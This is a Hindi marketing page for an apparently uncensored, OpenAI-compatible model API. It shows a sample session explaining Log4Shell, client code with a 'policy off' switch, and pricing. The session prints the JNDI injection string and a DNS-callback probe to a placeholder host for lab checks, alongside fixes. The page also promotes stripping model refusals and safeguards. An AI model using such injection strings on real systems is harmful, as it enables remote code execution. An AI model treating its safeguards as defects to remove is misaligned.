मुख्यधारा के मॉडल जवाब में बीप देते हैं। हम वह बीप हटा देते हैं।
अप्रतिबंधित मॉडलों के लिए एक डेवलपर-फ़र्स्ट, OpenAI-संगत API — रेड-टीमिंग, जेलब्रेक मूल्यांकन, सेफ़्टी रिसर्च और हर उस चीज़ के लिए जो नकली इनकार के साथ शिप नहीं हो सकती।
नाम उनके काम पर रखे गए हैं, नीचे मौजूद ओपन-वेट मॉडल पर नहीं — ताकि हम वेट्स बेहतर करते रहें और आपका कोड कभी न टूटे।
डिफ़ॉल्ट। 256K-टोकन विंडो, अनसेंसर्ड — रेड-टीमिंग, इवैल और रिसर्च के लिए रोज़मर्रा का वर्कहॉर्स।
फ़्रंटियर टियर। सबसे बड़े कामों के लिए 1M-टोकन कॉन्टेक्स्ट — पूरे कोडबेस, लंबे ट्रांसक्रिप्ट, गहन बहु-दस्तावेज़ विश्लेषण।
सस्ता, तेज़ विकल्प। हाई-वॉल्यूम ट्रैफ़िक और सरल कॉल्स के लिए प्रति टोकन कम लागत।
Log4Shell पर एक रेड-टीम सेशन — मूल कारण, एक सुरक्षित लैब जाँच, और फ़िक्स। न भाषण, न इनकार; सिर्फ़ विश्लेषण।
CVE-2021-44228 (Log4Shell) को विस्तार से समझाओ। मूल कारण, और JNDI लुकअप RCE में कैसे बदल जाता है।${…} लुकअप का मूल्यांकन करता है जिन्हें वह लॉग करता है। ${jndi:ldap://host/x} जैसा कोई लॉग किया गया मान JVM से वह नाम LDAP/RMI पर रिज़ॉल्व करवाता है, एक रिमोट Java क्लास फ़ेच करवाता है और उसे इंस्टैंशिएट करवाता है — लॉगिंग प्रोसेस में मनमाना कोड चल जाता है। ट्रिगर सतह वह सब कुछ है जो किसी लॉग कॉल तक पहुँचता है: User-Agent, हेडर, फ़ॉर्म फ़ील्ड। प्रभावित रेंज: 2.0-beta9 → 2.14.1।${jndi:ldap://<token>.your-collab/x} भेजें जिसके लॉग होने की आपको जानकारी है।<token> के लिए DNS हिट का मतलब है कि स्ट्रिंग इंटरपोलेट हुई → असुरक्षित। कुछ सर्व नहीं होता, इसलिए कुछ एक्ज़ीक्यूट नहीं होता।JndiLookup.class को grep करें और वर्ज़न को प्रभावित रेंज से मिलाएँ।2.17.1+ पर अपग्रेड करें। अभी नहीं कर सकते? log4j2.formatMsgNoLookups=true सेट करें (2.10+) या क्लासपाथ से JndiLookup.class हटा दें, ${jndi: के लिए WAF नियम जोड़ें, और होस्ट के आउटबाउंड LDAP/RMI पर इग्रेस-फ़िल्टर लगाएँ।यह API ड्रॉप-इन OpenAI-संगत है। बेस URL और कुंजी बदलें — आपका मौजूदा कोड, SDK और टूल वैसे ही काम करते रहते हैं।
from openai import OpenAI
client = OpenAI(
base_url="https://unbleep.ai/v1", # ← the only change
api_key="ub_live_9f2c…",
)
stream = client.chat.completions.create(
model="unbleep",
messages=[{"role": "user", "content": "…"}],
stream=True,
)
for chunk in stream:
print(chunk.choices[0].delta.content or "", end="")import OpenAI from "openai";
const client = new OpenAI({
baseURL: "https://unbleep.ai/v1", // ← the only change
apiKey: "ub_live_9f2c…",
});
const stream = await client.chat.completions.create({
model: "unbleep",
messages: [{ role: "user", content: "…" }],
stream: true,
});
for await (const chunk of stream)
process.stdout.write(chunk.choices[0].delta.content ?? "");curl https://unbleep.ai/v1/chat/completions \
-H "Authorization: Bearer ub_live_9f2c…" \
-H "Content-Type: application/json" \
-d '{
"model": "unbleep",
"messages": [{"role":"user","content":"…"}],
"stream": true,
"policy": "off"
}'OpenAI Python, Node, और हर वह टूल जो Chat Completions API बोलता है। सीखने को कुछ नया नहीं।
डेल्टा चंक्स की text/event-stream, जो [DONE] पर खत्म होती है — ठीक वही जो आपका क्लाइंट पहले से पार्स करता है।
अपने यूसेज इतिहास में किसी रिक्वेस्ट को टैग करने के लिए "policy": "research" भेजें, या जब किसी प्रोजेक्ट को ज़रूरत हो तो ब्लॉकलिस्ट लागू करने के लिए "strict"।
जब ज़रूरत हो तब क्रेडिट खरीदें, या उसे मासिक प्लान पर रखें और अपने आप आने दें। हर रिक्वेस्ट का बिल उन टोकनों पर बनता है जो उसने वास्तव में खर्च किए, आपके बुलाए मॉडल की प्रकाशित प्रति-मिलियन दर पर।
unbleep $3.00 इन / $3.00 आउट
unbleep-high $5.00 / $5.00
unbleep-mini $1.00 / $1.00
प्रति 1M टोकन
जब ज़रूरत हो कार्ड से क्रेडिट जोड़ें, या कोई प्लान उसे हर महीने पहुँचा दे। जब तक आपका खाता खुला है, यह समाप्त नहीं होता, और इस्तेमाल न हुआ क्रेडिट 14 दिनों के भीतर रिफ़ंड योग्य है।
रिक्वेस्ट शुरू होने पर हम एक अनुमानित राशि रिज़र्व करते हैं और पूरी होने पर उसे असली टोकन लागत पर सेटल करते हैं। एरर देने वाली रिक्वेस्ट की राशि छोड़ दी जाती है, कभी चार्ज नहीं होती।
जब आपका बैलेंस किसी रिक्वेस्ट को कवर नहीं कर सकता तो उसे अस्वीकार कर दिया जाता है — हम न कभी उधार देते हैं, न बाद में बिल भेजते हैं। बैलेंस और टोकन खर्च कंसोल में दिखते हैं।
unbleep उन सुरक्षा टीमों, शोधकर्ताओं और बिल्डरों के लिए है जिन्हें एक अनफ़िल्टर्ड बेसलाइन चाहिए। डिफ़ॉल्ट रूप से ज़ीरो-रिटेंशन, एक फ़र्स्ट-क्लास पॉलिसी डायल, कंसोल में प्रति-रिक्वेस्ट यूसेज और लागत इतिहास, और एक असली स्वीकार्य-उपयोग नीति। अनसेंसर्ड एक क्षमता है — इसे कैसे नियंत्रित करना है, यह आप तय करते हैं।